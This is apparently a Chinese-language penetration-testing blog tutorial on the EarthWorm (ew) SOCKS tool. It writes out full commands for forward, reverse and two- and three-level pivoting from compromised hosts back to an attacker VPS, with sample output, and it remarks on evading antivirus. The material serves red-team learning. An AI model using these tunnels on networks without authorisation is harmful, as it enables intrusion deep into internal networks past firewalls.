1、Socks 代理工具介绍
Socks 代理可以理解成升级版的 lcx,关于 lcx 的用法可以看我之前的文章:
https://teamssix.com/year/210528-130449.html
但是 lcx 毕竟年代久远,现在的杀软基本也都能识别到了,因此在实战中不太推荐使用 lcx ,更推荐使用这些 socks 代理工具。
常见的 socks 代理工具有 ew、termite、frp、nps、sSocks、reGeorg、Neo-reGeorg、SocksCap、Proxifier、ProxyChains 等等,不同的工具适合使用的场景和方法都有所不同。
因为在这其中有些工具笔者较经常使用,所以这里主要记录下 ew、frp、nps 的使用方法,本篇文章主要记录 ew 的使用,后续文章将更新 frp、nps 的使用。
开始之前,先理解下正向代理和反向代理的区别。
正向代理:主动通过代理访问目标主机,即攻击主机 --》目标主机
反向代理:目标机器通过代理进行主动连接,即目标主机 --》攻击主机
2、ew 的使用
ew 的项目主页:http://rootkiter.com/EarthWorm/
ew 全称 EarthWorm
,直译过来就是蚯蚓
,引用作者的原话是:
该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。
这个描述也是很形象了。
下载
作者已经不提供 ew 的下载了,但是搜了一下 github 还是有其他人上传的,不过病毒需自查。
下载地址:https://github.com/idlefire/ew
从这工具上传的时间是 5 年前就可以看出这个工具很有年代感了。
使用
该工具共有 6 种命令格式 ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran,正向连接的命令是 ssocked,反向连接的命令是 rcsocks 和 rssocks,其他命令用于一些比较复杂的网络环境中。
a、正向连接
正向连接需要目标主机有一个公网 IP,或者说攻击主机能够直接访问到目标主机。
命令也很简单
ew -s ssocksd -l 1080
-s 设置状态模式
-l 设置监听端口
> .\ew_for_Win.exe -s ssocksd -l 1080
ssocksd 0.0.0.0:1080 <--[10000 usec]--> socks server
然后使用 SocksCap、Proxifier、ProxyChains 等工具配置上目标主机的 IP 和监听端口即可,socks 要选择 socks5
b、反向连接
反向连接适合于目标没有公网 IP 的情况,这时就需要一台公网 vps 了,这里就直接以内网地址作为演示了。
在公网 VPS 上执行以下命令:
ew -s rcsocks -l 1080 -e 4444
-e 设置反弹主机端口
> ./ew_for_linux64 -s rcsocks -l 1080 -e 4444
这条命令表示将 1080 端口接收到的数据转发到 4444 端口上。
在目标主机上执行以下命令:
ew -s rssocks -d vps_ip -e 4444
-d 设置反弹主机 IP
> .\ew_for_Win.exe -s rssocks -d 172.16.214.52 -e 4444
这条命令表示在本地开启 socks 5 服务,并反弹到 vps 的 4444 端口,如果代理建立成功,在 VPS 端就会看到 rssocks cmd_socket OK!
的提示。
最后,代理 vps 的 1080 端口就可以访问到目标主机的内网了。
c、二级网络环境(一)
有这样的一个网络环境,目标主机A有两个网卡,一个内网地址一个公网地址,但这个主机只能访问内网主机B不能访问其他内网资源,而内网主机B不能访问外网但是能访问内网资源。
在拿到这两台主机权限后,就可以使用 ew 进行二级跳板访问到内网资源。
内网主机A(有公网IP) --》内网主机B --》内网资源
在内网主机B上,开启正向连接代理
ew -s ssocksd -l 4444
> .\ew_for_Win.exe -s ssocksd -l 4444
在内网主机A上
ew -s lcx_tran -l 1080 -f hostB_ip -g 4444
> ./ew_for_linux64 -s lcx_tran -l 1080 -f 192.168.7.110 -g 4444
这条命令表示将 1080 端口收到的代理请求转发到内网主机 B 192.168.7.110 的 4444 端口,此时就可以通过访问内网主机 A 的外网 IP 的 1080 端口访问到内网主机 B 上架设的 socks5 代理了。
d、二级网络环境(二)
在上面的环境中,内网主机 A 有公网 IP,如果没有公网 IP 的情况下,又该怎么办呢?这时候就需要结合反向连接了,因此需要一台公网的 VPS 主机。
VPS --》内网主机A --》内网主机B --》内网资源
在公网 VPS 上
ew -s lcx_listen -l 1080 -e 4444
> ./ew_for_linux64 -s lcx_listen -l 1080 -e 4444
rcsocks 0.0.0.0:1080 <--[10000 usec]--> 0.0.0.0:4444
init cmd_server_for_rc here
start listen port here
表示将 1080 收到的 代理请求转发到 4444 端口上
在内网主机 B 上
ew -s ssocksd -l 5555
> .\ew_for_Win.exe -s ssocksd -l 5555
表示开启 5555 端口的正向代理
在内网主机 A 上
ew -s lcx_slave -d vps_ip -e 4444 -f hostB_ip -g 5555
> ./ew_for_linux64 -s lcx_slave -d 172.16.214.1 -e 4444 -f 192.168.7.110 -g 5555
lcx_slave 172.16.214.1:4444 <--[10000 usec]--> 192.168.7.110:5555
表示在内网主机 A 上使用 lcx_slave 的方式,将 VPS 的 4444 端口和内网主机 B 的 5555 端口连接起来。
现在就可以通过 VPS 的 1080 端口访问到内网主机 A 再访问到内网主机 B ,最后访问到内网资源了。
e、三级网络环境
目前有这样的一个环境,内网主机 A 没有公网 IP 不能访问内网资源,但是可以访问外网和内网主机 B,内网主机 B 不能访问外网和内网资源,但是可以和 A、C 相互访问,内网主机 C 能访问内网资源,但是只能和内网主机 B 相互访问,因此如果想访问到内网资源就需要做三层跳板。
VPS --》内网主机 A --》内网主机 B --》内网主机 C
在公网 VPS 上,将 1080 端口收到的代理请求转发到 4444 端口
ew -s rcsocks -l 1080 -e 4444
> ./ew_for_linux64 -s rcsocks -l 1080 -e 4444
rcsocks 0.0.0.0:1080 <--[10000 usec]--> 0.0.0.0:4444
init cmd_server_for_rc here
start listen port here
在内网主机 A 上,将 VPS 的 4444 端口和内网主机 B 的 5555 端口连接起来
ew -s lcx_slave -d vps_ip -e 4444 -f hostB_ip -g 5555
> ./ew_for_linux64 -s lcx_slave -d 172.16.214.1 -e 4444 -f 192.168.7.110 -g 5555
lcx_slave 172.16.214.1:4444 <--[10000 usec]--> 192.168.7.110:5555
在内网主机 B 上,将 5555 端口收到的代理请求转发到 6666 端口上
ew -s lcx_listen -l 5555 -e 6666
> .\ew_for_Win.exe -s lcx_listen -l 5555 -e 6666
rcsocks 0.0.0.0:5555 <--[10000 usec]--> 0.0.0.0:6666
init cmd_server_for_rc here
start listen port here
在内网主机 C 上,启动 socks5 服务,并反弹到 B 主机的 6666 端口上
ew -s rssocks -d 192.168.7.110 -e 6666
> .\ew_for_Win.exe -s rssocks -d 192.168.7.110 -e 6666
rssocks 192.168.7.110:6666 <--[10000 usec]--> socks server
至此,socks5 代理 VPS 的 1080 端口就会访问到内网资源了。
另外还有个 ew 的升级版工具叫 termite,不过比较遗憾的是 termite 在两年前也已经暂停更新了,这里也就不再大费周章的记录它了。
原文链接:
https://teamssix.com/year/210610-164507.html